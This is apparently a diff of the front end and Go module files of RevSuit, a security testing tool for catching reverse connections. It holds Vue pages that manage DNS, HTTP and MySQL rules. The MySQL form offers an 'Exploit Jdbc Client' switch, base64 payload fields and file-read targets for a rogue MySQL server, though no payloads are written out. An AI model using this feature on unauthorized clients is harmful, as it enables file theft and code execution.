</div>
</a-drawer>
<!-- rule table -->
<a-table
:columns="columns"
:data-source="data"
:loading="loading"
:pagination="pagination"
@change="handleTableChange"
>
<div
slot="filterDropdown"
slot-scope="{ setSelectedKeys, selectedKeys, clearFilters, column }"
style="padding: 8px"
>
<a-input
:placeholder="`Search ${column.dataIndex}`"
:value="selectedKeys[0]"
style="width: 188px; margin-bottom: 8px; display: block;"
@change="e => setSelectedKeys(e.target.value ? [e.target.value] : [])"
@pressEnter="() => {filters[column.dataIndex] = selectedKeys[0];fetch()}"
/>
<a-button
type="primary"
icon="search"
size="small"
style="width: 90px; margin-right: 8px"
@click="() => {filters[column.dataIndex] = selectedKeys[0];fetch()}"
>
Search
</a-button>
</div>
<a-icon
slot="filterIcon"
slot-scope="filtered"
type="search"
:style="{ color: filtered ? '#108ee9' : undefined }"
/>
<span slot="rank" slot-scope="rank">
<a-tag
:color="'#'+(0x2db7f5+rank*80).toString(16)"
>
{{ rank }}
</a-tag>
</span>
<span slot="type" slot-scope="type">
<a-tag
:color="colors[type]"
>
{{ resolveTypes[type] }}
</a-tag>
</span>
<span slot="switchRender" slot-scope="checked,record,index,dataIndex">
<a-switch :checked="checked" @click="clickSwitch(record,dataIndex.dataIndex)"></a-switch>
</span>
<span slot="valueRender" slot-scope="values">
<span v-for="value in values.split(',')" :key="value">{{ value }}<br/></span>
</span>
<span slot="action" slot-scope="text,record,index">
<!-- <a-button @click="viewRule(record)" style="-->
<!-- color: #67C23A;-->
<!-- background-color: transparent;-->
<!-- border-color: #67C23A;-->
<!-- text-shadow: none;-->
<!-- margin-right: 10px;-->
<!--" size="small" ghost>View</a-button>-->
<a-button @click="editRule(record,index)" style="
color: #909399;
background-color: transparent;
border-color: #909399;
text-shadow: none;
margin-right: 10px;
" size="small" ghost>Edit</a-button>
<a-popconfirm
title="Are you sure delete this task?"
ok-text="Yes"
cancel-text="No"
@confirm="deleteRule(record,index)"
>
<a-button type="danger" size="small" ghost>Delete</a-button>
</a-popconfirm>
</span>
</a-table>
</div>
</template>
<style scoped>
#add-rule {
margin-bottom: 10px;
}
</style>
<script>
import {getDnsRule, upsertDnsRule, deleteDnsRule} from '@/api/rule'
import {store} from '@/main'
import BasicRule from "@/components/BasicRule";
const VIEW = "View"
const EDIT = "Edit"
const CREATE = "Create"
const colors = {
1: "geekblue",
28: "green",
5: "red",
16: "pink",
2: "purple",
99: "orange",
}
const resolveTypes = {
1: "A",
28: "AAAA",
5: "CNAME",
16: "TXT",
2: "NS",
99: "RB",
}
const columns = [
{
title: 'ID',
dataIndex: 'id',
key: 'id',
sorter: true,
sortDirections: ['descend', 'ascend'],
},
{
title: 'NAME',
dataIndex: 'name',
key: 'name',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'FLAG FORMAT',
dataIndex: 'flag_format',
key: 'flag_format',
},
{
title: 'RANK',
dataIndex: 'rank',
key: 'rank',
scopedSlots: {
customRender: 'rank',
},
},
{
title: 'TYPE',
dataIndex: 'type',
key: 'type',
scopedSlots: {
customRender: 'type',
},
},
{
title: 'TTL',
dataIndex: 'ttl',
key: 'ttl',
},
{
title: 'VALUE',
dataIndex: 'value',
key: 'value',
scopedSlots: {
customRender: 'valueRender',
}
},
{
title: 'PUSH TO CLIENT',
dataIndex: 'push_to_client',
key: 'push_to_client',
scopedSlots: {
customRender: 'switchRender',
}
},
{
title: 'NOTICE',
dataIndex: 'notice',
key: 'notice',
scopedSlots: {
customRender: 'switchRender',
}
},
{
title: 'Action',
key: 'action',
scopedSlots: {customRender: 'action'},
},
];
const rules = {
value: [{required: false, message: "please enter resolve value"}],
type: [{required: false, message: "please enter resolve type"}],
ttl: [{required: false, message: "please enter resolve ttl"}]
}
export default {
name: 'DnsRules',
data() {
return {
data: [],
formVisible: false,
pagination: {current: 1},
filters: {},
loading: false,
columns,
colors,
resolveTypes,
form: {},
rules: rules,
formReadOnly: false,
formAction: "", // View ,Create or Edit
}
},
methods: {
handleTableChange(pagination, filters, sorter) {
const pager = {...this.pagination};
pager.current = pagination.current;
this.pagination = pager;
this.order = sorter.order === "ascend" ? "asc" : "desc"
this.fetch();
},
fetch: function () {
this.loading = true;
let params = {
...this.filters,
page: this.pagination.current,
order: this.order
}
getDnsRule(params).then(res => {
let result = res.data.result
this.data = result.data
const pagination = {...this.pagination};
// Read total count from server
// pagination.total = data.totalCount;
pagination.total = result.count;
this.pagination = pagination;
this.loading = false
}).catch(e => {
if (e.response.status === 403) {
store.authed = false
return []
} else {
this.$notification.error({
message: 'Unknown error: ' + e.response.status,
style: {
width: '100px',
marginLeft: `${335 - 600}px`,
},
duration: 4
});
}
})
},
clickSwitch(record, prop) {
record[prop] = !record[prop]
upsertDnsRule(record).then().catch(e => {
this.$notification.error({
message: 'Edit failed',
description:
e.response.data.error,
style: {
width: '600px',
marginLeft: `${335 - 600}px`,
},
duration: 4
});
})
},
addRule() {
this.form = {}
this.showForm(CREATE)
},
viewRule(record) {
this.form = record
this.showForm(VIEW)
},
editRule(record) {
this.form = JSON.parse(JSON.stringify(record))
this.showForm(EDIT)
},
deleteRule(record, index) {
deleteDnsRule(record).then(() => {
this.data.splice(index, 1)
}).catch(e => {
this.$notification.error({
message: 'Error',
description:
e.response.data.error,
style: {
width: '600px',
marginLeft: `${335 - 600}px`,
},
duration: 4
});
})
},
showForm(action) {
this.formAction = action
this.formReadOnly = action === VIEW;
this.formVisible = true;
},
closeDrawer() {
this.formVisible = false;
},
handleSubmit() {
this.$refs.form.validate(valid => {
if (valid) {
upsertDnsRule(this.form).then(() => {
this.closeDrawer()
this.fetch({page: this.pagination.current});
this.$notification.info({
message: 'Success',
style: {
width: '600px',
marginLeft: `${335 - 600}px`,
},
duration: 2.5
});
}).catch(e => {
this.$notification.error({
message: this.formAction + ' failed',
description:
e.response.data.error,
style: {
width: '600px',
marginLeft: `${335 - 600}px`,
},
duration: 4
});
})
}
})
},
handleCancel() {
this.form = {}
this.closeDrawer()
}
},
mounted() {
this.fetch({page: "1"});
},
components: {
BasicRule,
}
}
</script>
+502
View File
@@ -0,0 +1,502 @@
<template xmlns:a-col="http://www.w3.org/1999/html">
<div>
<a-button id="add-rule" type="primary" @click="addRule">
<a-icon type="plus"/>
New Rule
</a-button>
<!-- rule form-->
<a-drawer
:title="formAction+ ' HTTP rule'"
:width="460"
:visible="formVisible"
:body-style="{ paddingBottom: '80px' }"
@close="closeDrawer"
>
<a-form-model :model="form" ref="form" layout="vertical" @submit="handleSubmit">
<BasicRule :form="form" :readOnly="formReadOnly"/>
<a-row :gutter="24">
<a-col :span="24">
<a-form-model-item :rules="rules.response_status_code"
prop="response_status_code">
<span slot="label">
Response Status Code
<a-tooltip
title="Number between 100-600, or template such as ${query.var_name}/${body.var_name}/${header.var_name}">
<a-icon type="question-circle-o"/>
</a-tooltip>
</span>
<a-input v-model="form.response_status_code"
style="width: 100%"
placeholder="200"
:disabled="formReadOnly"
/>
</a-form-model-item>
</a-col>
</a-row>
<a-row :gutter="24">
<a-col :span="24">
<a-form-model-item>
<span slot="label">
Response Headers
<a-tooltip
title="Support template such as ${query.var_name}/${body.var_name}/${header.var_name}">
<a-icon type="question-circle-o"/>
</a-tooltip>
</span>
<a-input-group compact v-for="headerKey in headerKeys" :key="headerKey">
<a-auto-complete v-model="form['Header-'+headerKey]"
style="width: 47%;margin-bottom: 5px"
v-decorator="['Header-'+headerKey,]"
:dataSource="headerSet"
:filterOption="filterOption"
:defaultOpen="false"
placeholder="Header"
:disabled="formReadOnly"
></a-auto-complete>
<a-input v-model="form['Value-'+headerKey]"
@focus="()=>{ !formReadOnly&&(headerKey === headerKeys[headerKeys.length-1]) && form['Header-'+headerKey] ? addHeader(): null}"
style="width: 53%"
v-decorator="['Value-'+headerKey,]"
placeholder="Value"
:disabled="formReadOnly"
>
<a-icon slot="addonAfter"
class="dynamic-delete-button"
type="minus-circle-o"
@click="() => !formReadOnly? removeHeader(headerKey):null"
/>
</a-input>
</a-input-group>
</a-form-model-item>
</a-col>
</a-row>
<a-row :gutter="24">
<a-col :span="24">
<a-form-model-item>
<span slot="label">
Response Body
<a-tooltip
title="Support template such as ${query.var_name}/${body.var_name}/${header.var_name}">
<a-icon type="question-circle-o"/>
</a-tooltip>
</span>
<a-textarea v-model="form.response_body"
placeholder="Hello RevSuit!"
:readOnly="formReadOnly"
/>
</a-form-model-item>
</a-col>
</a-row>
</a-form-model>
<div
:style="{
position: 'absolute',
right: 0,
bottom: 0,
width: '100%',
borderTop: '1px solid #e9e9e9',
padding: '10px 16px',
background: '#fff',
textAlign: 'right',
zIndex: 1,
}"
>
<a-button :style="{ marginRight: '8px' }" @click="handleCancel">
Cancel
</a-button>
<a-button type="primary" :disabled="formReadOnly" @click="handleSubmit">
Submit
</a-button>
</div>
</a-drawer>
<!-- rule table -->
<a-table
:columns="columns"
:data-source="data"
:loading="loading"
:pagination="pagination"
@change="handleTableChange"
>
<div
slot="filterDropdown"
slot-scope="{ setSelectedKeys, selectedKeys, clearFilters, column }"
style="padding: 8px"
>
<a-input
:placeholder="`Search ${column.dataIndex}`"
:value="selectedKeys[0]"
style="width: 188px; margin-bottom: 8px; display: block;"
@change="e => setSelectedKeys(e.target.value ? [e.target.value] : [])"
@pressEnter="() => {filters[column.dataIndex] = selectedKeys[0];fetch()}"
/>
<a-button
type="primary"
icon="search"
size="small"
style="width: 90px; margin-right: 8px"
@click="() => {filters[column.dataIndex] = selectedKeys[0];fetch()}"
>
Search
</a-button>
</div>
<a-icon
slot="filterIcon"
slot-scope="filtered"
type="search"
:style="{ color: filtered ? '#108ee9' : undefined }"
/>
<span slot="rank" slot-scope="rank">
<a-tag
:color="'#'+(0x2db7f5+rank*80).toString(16)"
>
{{ rank }}
</a-tag>
</span>
<span slot="switchRender" slot-scope="checked,record,index,dataIndex">
<a-switch :checked="checked" @click="clickSwitch(record,dataIndex.dataIndex)"></a-switch>
</span>
<span slot="action" slot-scope="text,record,index">
<a-button @click="viewRule(record)" style="
color: #67C23A;
background-color: transparent;
border-color: #67C23A;
text-shadow: none;
margin-right: 10px;
" size="small" ghost>View</a-button>
<a-button @click="editRule(record,index)" style="
color: #909399;
background-color: transparent;
border-color: #909399;
text-shadow: none;
margin-right: 10px;
" size="small" ghost>Edit</a-button>
<a-popconfirm
title="Are you sure delete this task?"
ok-text="Yes"
cancel-text="No"
@confirm="deleteRule(record,index)"
>
<a-button type="danger" size="small" ghost>Delete</a-button>
</a-popconfirm>
</span>
</a-table>
</div>
</template>
<style scoped>
#add-rule {
margin-bottom: 10px;
}
</style>
<script>
import {getHttpRule, upsertHttpRule, deleteHttpRule} from '@/api/rule'
import {store} from '@/main'
import BasicRule from "@/components/BasicRule";
const VIEW = "View"
const EDIT = "Edit"
const CREATE = "Create"
const columns = [
{
title: 'ID',
dataIndex: 'id',
key: 'id',
sorter: true,
sortDirections: ['descend', 'ascend'],
},
{
title: 'NAME',
dataIndex: 'name',
key: 'name',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'FLAG FORMAT',
dataIndex: 'flag_format',
key: 'flag_format',
},
{
title: 'RANK',
dataIndex: 'rank',
key: 'rank',
scopedSlots: {
customRender: "rank"
}
},
{
title: 'PUSH TO CLIENT',
dataIndex: 'push_to_client',
key: 'push_to_client',
scopedSlots: {
customRender: 'switchRender',
}
},
{
title: 'NOTICE',
dataIndex: 'notice',
key: 'notice',
scopedSlots: {
customRender: 'switchRender',
}
},
{
title: 'Action',
key: 'action',
scopedSlots: {customRender: 'action'},
},
];
const rules = {
response_status_code: [{
validator: (rule, code, callback) => {
console.log(code)
if (code === undefined || (!isNaN(code) && 100 < code && code < 600)) {
return callback()
} else if (/\${(query|body|header)\..+?}/.test(code)) {
return callback()
} else {
return callback(new Error("please input legal response status code value"))
}
}, trigger: 'blur'
}]
}
export default {
name: 'HttpRules',
data() {
return {
data: [],
formVisible: false,
pagination: {current: 1},
filters: {},
loading: false,
columns,
form: {},
rules: rules,
formReadOnly: false,
formAction: "", // View ,Create or Edit
headerKeys: [1],
headerSet: ["Accept-Patch",
"Accept-Ranges",
"Age",
"Allow",
"Cache-Control",
"Connection",
"Content-Disposition",
"Content-Encoding",
"Content-Language",
"Content-Length",
"Content-Location",
"Content-Range",
"Content-Type",
"Date",
"Delta-Base",
"ETag",
"Expires",
"Last-Modified",
"Link",
"Location",
"Pragma",
"Proxy-Authenticate",
"Public-Key-Pins",
"Retry-After",
"Server",
"Set-Cookie",
"Strict-Transport-Security",
"Transfer-Encoding",
"Upgrade",
"Vary",
"Via",
"Warning",
"WWW-Authenticate",
"Content-Security-Policy",
"Refresh",
"X-Powered-By",
"X-Request-ID",
"X-UA-Compatible",
"X-XSS-Protection",
"Access-Control-Allow-Origin",
"Access-Control-Allow-Credentials",
"Access-Control-Expose-Headers",
"Access-Control-Max-Age",
"Access-Control-Allow-Methods",
"Access-Control-Allow-Headers"],
};
},
methods: {
handleTableChange(pagination, filters, sorter) {
const pager = {...this.pagination};
pager.current = pagination.current;
this.pagination = pager;
this.order = sorter.order === "ascend" ? "asc" : "desc"
this.fetch();
},
fetch: function () {
this.loading = true;
let params = {
...this.filters,
page: this.pagination.current,
order: this.order
}
getHttpRule(params).then(res => {
let result = res.data.result
this.data = result.data
const pagination = {...this.pagination};
// Read total count from server
// pagination.total = data.totalCount;
pagination.total = result.count;
this.pagination = pagination;
this.loading = false
}).catch(e => {
if (e.response.status === 403) {
store.authed = false
return []
} else {
this.$notification.error({
message: 'Unknown error: ' + e.response.status,
style: {
width: '100px',
marginLeft: `${335 - 600}px`,
},
duration: 4
});
}
})
},
clickSwitch(record, prop) {
record[prop] = !record[prop]
upsertHttpRule(record).catch(e => {
this.$notification.error({
message: 'Edit failed',
description:
e.response.data.error,
style: {
width: '600px',
marginLeft: `${335 - 600}px`,
},
duration: 4
});
})
},
addRule() {
this.form = {}
this.showForm(CREATE)
},
viewRule(record) {
this.form = record
this.showForm(VIEW)
},
editRule(record) {
this.form = JSON.parse(JSON.stringify(record))
this.showForm(EDIT)
},
deleteRule(record, index) {
deleteHttpRule(record).then(() => {
this.data.splice(index, 1)
}).catch(e => {
this.$notification.error({
message: 'Error',
description:
e.response.data.error,
style: {
width: '600px',
marginLeft: `${335 - 600}px`,
},
duration: 4
});
})
},
showForm(action) {
this.formAction = action
this.formReadOnly = action === VIEW;
this.formVisible = true;
for (let k in this.form.response_headers) {
this.form["Header-" + this.headerKeys.length] = k
this.form["Value-" + this.headerKeys.length] = this.form.response_headers[k]
this.addHeader()
}
if (this.formReadOnly) {
this.removeHeader(this.headerKeys.length)
}
},
closeDrawer() {
this.formVisible = false;
this.headerKeys = [1]
},
addHeader() {
this.headerKeys.push(this.headerKeys[this.headerKeys.length - 1] + 1)
},
removeHeader(key) {
if (this.headerKeys.length > 1) {
this.headerKeys.splice(this.headerKeys.indexOf(key), 1)
}
},
filterOption(input, option) {
return (
option.componentOptions.children[0].text.toUpperCase().indexOf(input.toUpperCase()) >= 0
);
},
handleSubmit() {
this.$refs.form.validate(valid => {
if (valid) {
let form = {}
let headers = {}
for (let k in this.form) {
if (k.indexOf("Header-") === 0) {
let i = k.substr("Header-".length)
if (this.form["Value-" + i]) {
headers[this.form[k]] = this.form["Value-" + i]
}
} else if (k.indexOf("Value-") === -1) {
form[k] = this.form[k]
}
}
form.response_headers = headers
upsertHttpRule(form).then(() => {
this.closeDrawer()
this.fetch({page: this.pagination.current});
this.$notification.info({
message: 'Success',
style: {
width: '600px',
marginLeft: `${335 - 600}px`,
},
duration: 2.5
});
}).catch(e => {
this.$notification.error({
message: this.formAction + ' failed',
description:
e.response.data.error,
style: {
width: '600px',
marginLeft: `${335 - 600}px`,
},
duration: 4
});
})
} else {
return false;
}
});
},
handleCancel() {
this.form = {}
this.closeDrawer()
}
},
mounted() {
this.fetch({page: "1"});
},
components: {
BasicRule,
}
}
</script>
+433
View File
@@ -0,0 +1,433 @@
<template xmlns:a-col="http://www.w3.org/1999/html">
<div>
<a-button id="add-rule" type="primary" @click="addRule">
<a-icon type="plus"/>
New Rule
</a-button>
<!-- rule form-->
<a-drawer
:title="formAction+ ' MySQL rule'"
:width="460"
:visible="formVisible"
:body-style="{ paddingBottom: '80px' }"
@close="closeDrawer"
>
<a-form-model :model="form" ref="form" layout="vertical" @submit="handleSubmit">
<BasicRule :form="form" :readOnly="formReadOnly"/>
<a-row :gutter="24">
<a-col :span="24">
<a-form-model-item label="Files" :rules="rules.files">
<a-input
v-model="form.files"
style="width: 100%"
placeholder="please enter file name,use ';' to split multiple file names"
:readOnly="formReadOnly"
:disabled="form.exploit_jdbc_client"
/>
</a-form-model-item>
</a-col>
</a-row>
<a-row>
<a-form-model-item>
<div class="ant-form-item-label">
<label for="exploit-jdbc-client">Exploit Jdbc Client
<a-tooltip placement="topLeft" title="Whether test to exploit jdbc client.">
<a-icon type="question-circle"/>
</a-tooltip>
</label>
</div>
<a-switch v-model="form.exploit_jdbc_client" id="exploit-jdbc-client" :disabled="formReadOnly"/>
</a-form-model-item>
</a-row>
<a-row :gutter="24">
<a-col :span="24">
<a-form-model-item label="Payload">
<a-input-group compact v-for="payloadKey in payloadKeys" :key="payloadKey">
<a-input v-model="form['Key-'+payloadKey]"
style="width: 47%;margin-bottom: 5px"
v-decorator="['Key-'+payloadKey,]"
:defaultOpen="false"
placeholder="Key"
:disabled="!form.exploit_jdbc_client"
:readOnly="formReadOnly"
></a-input>
<a-input v-model="form['Value-'+payloadKey]"
@focus="()=>{ !formReadOnly&&(payloadKey === payloadKeys[payloadKeys.length-1]) && form['Key-'+payloadKey] ? addPayload(): null}"
style="width: 53%"
v-decorator="['Value-'+payloadKey,]"
placeholder="Base64 encoded payload Value"
:disabled="!form.exploit_jdbc_client"
:readOnly="formReadOnly"
>
<a-icon slot="addonAfter"
class="dynamic-delete-button"
type="minus-circle-o"
@click="() => form.exploit_jdbc_client? removePayload(payloadKey):null"
/>
</a-input>
</a-input-group>
</a-form-model-item>
</a-col>
</a-row>
</a-form-model>
<div
:style="{
position: 'absolute',
right: 0,
bottom: 0,
width: '100%',
borderTop: '1px solid #e9e9e9',
padding: '10px 16px',
background: '#fff',
textAlign: 'right',
zIndex: 1,
}"
>
<a-button :style="{ marginRight: '8px' }" @click="handleCancel">
Cancel
</a-button>
<a-button type="primary" :disabled="formReadOnly" @click="handleSubmit">
Submit
</a-button>
</div>
</a-drawer>
<!-- rule table -->
<a-table
:columns="columns"
:data-source="data"
:loading="loading"
:pagination="pagination"
@change="handleTableChange"
>
<div
slot="filterDropdown"
slot-scope="{ setSelectedKeys, selectedKeys, clearFilters, column }"
style="padding: 8px"
>
<a-input
:placeholder="`Search ${column.dataIndex}`"
:value="selectedKeys[0]"
style="width: 188px; margin-bottom: 8px; display: block;"
@change="e => setSelectedKeys(e.target.value ? [e.target.value] : [])"
@pressEnter="() => {filters[column.dataIndex] = selectedKeys[0];fetch()}"
/>
<a-button
type="primary"
icon="search"
size="small"
style="width: 90px; margin-right: 8px"
@click="() => {filters[column.dataIndex] = selectedKeys[0];fetch()}"
>
Search
</a-button>
</div>
<a-icon
slot="filterIcon"
slot-scope="filtered"
type="search"
:style="{ color: filtered ? '#108ee9' : undefined }"
/>
<span slot="rank" slot-scope="rank">
<a-tag
:color="'#'+(0x2db7f5+rank*80).toString(16)"
>
{{ rank }}
</a-tag>
</span>
<span slot="files" slot-scope="files">
<!-- eslint-disable-next-line-->
{{ files.length > 30 ? files.substr(0, 30) + "..." : files }}
</span>
<span slot="switchRender" slot-scope="checked,record,index,dataIndex">
<a-switch :checked="checked" @click="clickSwitch(record,dataIndex.dataIndex)"></a-switch>
</span>
<span slot="action" slot-scope="text,record,index">
<a-button @click="viewRule(record)" style="
color: #67C23A;
background-color: transparent;
border-color: #67C23A;
text-shadow: none;
margin-right: 10px;
" size="small" ghost>View</a-button>
<a-button @click="editRule(record,index)" style="
color: #909399;
background-color: transparent;
border-color: #909399;
text-shadow: none;
margin-right: 10px;
" size="small" ghost>Edit</a-button>
<a-popconfirm
title="Are you sure delete this task?"
ok-text="Yes"
cancel-text="No"
@confirm="deleteRule(record,index)"
>
<a-button type="danger" size="small" ghost>Delete</a-button>
</a-popconfirm>
</span>
</a-table>
</div>
</template>
<style scoped>
#add-rule {
margin-bottom: 10px;
}
</style>
<script>
import {getMysqlRule, upsertMysqlRule, deleteMysqlRule} from '@/api/rule'
import {store} from '@/main'
import BasicRule from "@/components/BasicRule";
const VIEW = "View"
const EDIT = "Edit"
const CREATE = "Create"
const columns = [
{
title: 'ID',
dataIndex: 'id',
key: 'id',
sorter: true,
sortDirections: ['descend', 'ascend'],
},
{
title: 'NAME',
dataIndex: 'name',
key: 'name',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'FLAG FORMAT',
dataIndex: 'flag_format',
key: 'flag_format',
},
{
title: 'RANK',
dataIndex: 'rank',
key: 'rank',
scopedSlots: {
customRender: "rank"
}
},
{
title: 'FILES',
dataIndex: 'files',
key: 'files',
scopedSlots: {
customRender: "files"
}
},
{
title: 'PUSH TO CLIENT',
dataIndex: 'push_to_client',
key: 'push_to_client',
scopedSlots: {
customRender: 'switchRender',
}
},
{
title: 'NOTICE',
dataIndex: 'notice',
key: 'notice',
scopedSlots: {
customRender: 'switchRender',
}
},
{
title: 'Action',
key: 'action',
scopedSlots: {customRender: 'action'},
},
];
const rules = {
files: [{required: false, message: "please enter file name"}],
}
export default {
name: 'MysqlRules',
data() {
return {
data: [],
formVisible: false,
pagination: {current: 1},
filters: {},
loading: false,
columns,
form: {},
rules: rules,
payloadKeys: [1],
formReadOnly: false,
formAction: "", // View ,Create or Edit
}
},
methods: {
handleTableChange(pagination, filters, sorter) {
const pager = {...this.pagination};
pager.current = pagination.current;
this.pagination = pager;
this.order = sorter.order === "ascend" ? "asc" : "desc"
this.fetch();
},
fetch: function () {
this.loading = true;
let params = {
...this.filters,
page: this.pagination.current,
order: this.order
}
getMysqlRule(params).then(res => {
let result = res.data.result
this.data = result.data
const pagination = {...this.pagination};
// Read total count from server
// pagination.total = data.totalCount;
pagination.total = result.count;
this.pagination = pagination;
this.loading = false
}).catch(e => {
if (e.response.status === 403) {
store.authed = false
return []
} else {
this.$notification.error({
message: 'Unknown error: ' + e.response.status,
style: {
width: '100px',
marginLeft: `${335 - 600}px`,
},
duration: 4
});
}
})
},
clickSwitch(record, prop) {
record[prop] = !record[prop]
upsertMysqlRule(record).then().catch(e => {
this.$notification.error({
message: 'Edit failed',
description:
e.response.data.error,
style: {
width: '600px',
marginLeft: `${335 - 600}px`,
},
duration: 4
});
})
},
addRule() {
this.form = {}
this.showForm(CREATE)
},
viewRule(record) {
this.form = record
this.showForm(VIEW)
},
editRule(record) {
this.form = JSON.parse(JSON.stringify(record))
this.showForm(EDIT)
},
deleteRule(record, index) {
deleteMysqlRule(record).then(() => {
this.data.splice(index, 1)
}).catch(e => {
this.$notification.error({
message: 'Error',
description:
e.response.data.error,
style: {
width: '600px',
marginLeft: `${335 - 600}px`,
},
duration: 4
});
})
},
showForm(action) {
this.formAction = action
this.formReadOnly = action === VIEW;
this.formVisible = true;
for (let k in this.form.payloads) {
this.form["Key-" + this.payloadKeys.length] = k
this.form["Value-" + this.payloadKeys.length] = this.form.payloads[k]
this.addPayload()
}
if (this.formReadOnly) {
this.removePayload(this.payloadKeys.length)
}
},
closeDrawer() {
this.formVisible = false;
this.payloadKeys = [1]
},
addPayload() {
this.payloadKeys.push(this.payloadKeys[this.payloadKeys.length - 1] + 1)
},
removePayload(key) {
if (this.payloadKeys.length > 1) {
this.payloadKeys.splice(this.payloadKeys.indexOf(key), 1)
}
},
handleSubmit() {
this.$refs.form.validate(valid => {
if (valid) {
let payloads = {}
let form = {}
for (let k in this.form) {
if (k.indexOf("Key-") === 0) {
let i = k.substr("Key-".length)
if (this.form["Value-" + i]) {
payloads[this.form[k]] = this.form["Value-" + i]
}
} else if (k.indexOf("Value-") === -1) {
form[k] = this.form[k]
}
}
form.payloads = payloads
upsertMysqlRule(form).then(() => {
this.closeDrawer()
this.fetch({page: this.pagination.current});
this.$notification.info({
message: 'Success',
style: {
width: '600px',
marginLeft: `${335 - 600}px`,
},
duration: 2.5
});
}).catch(e => {
this.$notification.error({
message: this.formAction + ' failed',
description:
e.response.data.error,
style: {
width: '600px',
marginLeft: `${335 - 600}px`,
},
duration: 4
});
})
}
})
},
handleCancel() {
this.form = {}
this.closeDrawer()
}
},
mounted() {
this.fetch({page: "1"});
},
components: {
BasicRule,
}
}
</script>
+22
View File
@@ -0,0 +1,22 @@
// vue.config.js
const path = require('path');
// eslint-disable-next-line no-unused-vars
function resolve(dir) {
return path.join(__dirname, dir)
}
module.exports = {
devServer: {
proxy: {
'/api': {
target: 'http://localhost:10000',
pathRewrite: {
'^/revsuit/api': '/revsuit/api'
}
}
},
},
filenameHashing: false,
publicPath: ''
}
+33
View File
@@ -0,0 +1,33 @@
module github.com/li4n0/revsuit
go 1.16
require (
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 // indirect
github.com/fatih/color v1.10.0 // indirect
github.com/gabriel-vasile/mimetype v1.2.0
github.com/gin-gonic/gin v1.6.3
github.com/go-playground/validator/v10 v10.4.1 // indirect
github.com/go-sql-driver/mysql v1.5.0
github.com/golang/protobuf v1.4.3 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/json-iterator/go v1.1.10 // indirect
github.com/leodido/go-urn v1.2.1 // indirect
github.com/mattn/go-sqlite3 v1.14.6 // indirect
github.com/miekg/dns v1.1.38
github.com/patrickmn/go-cache v2.1.0+incompatible
github.com/pkg/errors v0.9.1
github.com/russross/blackfriday/v2 v2.1.0 // indirect
github.com/sinlov/qqwry-golang v0.0.0-20191204062238-bea9868bbbf4
github.com/stretchr/testify v1.6.1
github.com/ugorji/go v1.2.4 // indirect
github.com/urfave/cli/v2 v2.3.0
golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad // indirect
golang.org/x/sys v0.0.0-20210217105451-b926d437f341 // indirect
google.golang.org/protobuf v1.25.0 // indirect
gopkg.in/yaml.v2 v2.4.0
gorm.io/driver/sqlite v1.1.4
gorm.io/gorm v1.21.4
unknwon.dev/clog/v2 v2.2.0
vitess.io/vitess v0.9.0
)
+835
View File
@@ -0,0 +1,835 @@
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
cloud.google.com/go v0.41.0/go.mod h1:OauMR7DV8fzvZIl2qg6rkaIhD/vmgk4iwEw/h6ercmg=
cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
github.com/Azure/azure-pipeline-go v0.2.2/go.mod h1:4rQ/NZncSvGqNkkOsNpOU1tgoNuIlp9AfUH5G1tvCHc=
github.com/Azure/azure-storage-blob-go v0.10.0/go.mod h1:ep1edmW+kNQx4UfWM9heESNmQdijykocJ0YOxmMX8SE=
github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78/go.mod h1:LmzpDX56iTiv29bbRTIsUNlaFfuhWRQBWjQdVyAevI8=
github.com/Azure/go-autorest/autorest v0.9.0/go.mod h1:xyHB1BMZT0cuDHU7I0+g046+BFDTQ8rEZB0s4Yfa6bI=
github.com/Azure/go-autorest/autorest v0.10.0/go.mod h1:/FALq9T/kS7b5J5qsQ+RSTUdAmGFqi0vUdVNNx8q630=
github.com/Azure/go-autorest/autorest/adal v0.5.0/go.mod h1:8Z9fGy2MpX0PvDjB1pEgQTmVqjGhiHBW7RJJEciWzS0=
github.com/Azure/go-autorest/autorest/adal v0.8.2/go.mod h1:ZjhuQClTqx435SRJ2iMlOxPYt3d2C/T/7TiQCVZSn3Q=
github.com/Azure/go-autorest/autorest/adal v0.8.3/go.mod h1:ZjhuQClTqx435SRJ2iMlOxPYt3d2C/T/7TiQCVZSn3Q=
github.com/Azure/go-autorest/autorest/date v0.1.0/go.mod h1:plvfp3oPSKwf2DNjlBjWF/7vwR+cUD/ELuzDCXwHUVA=
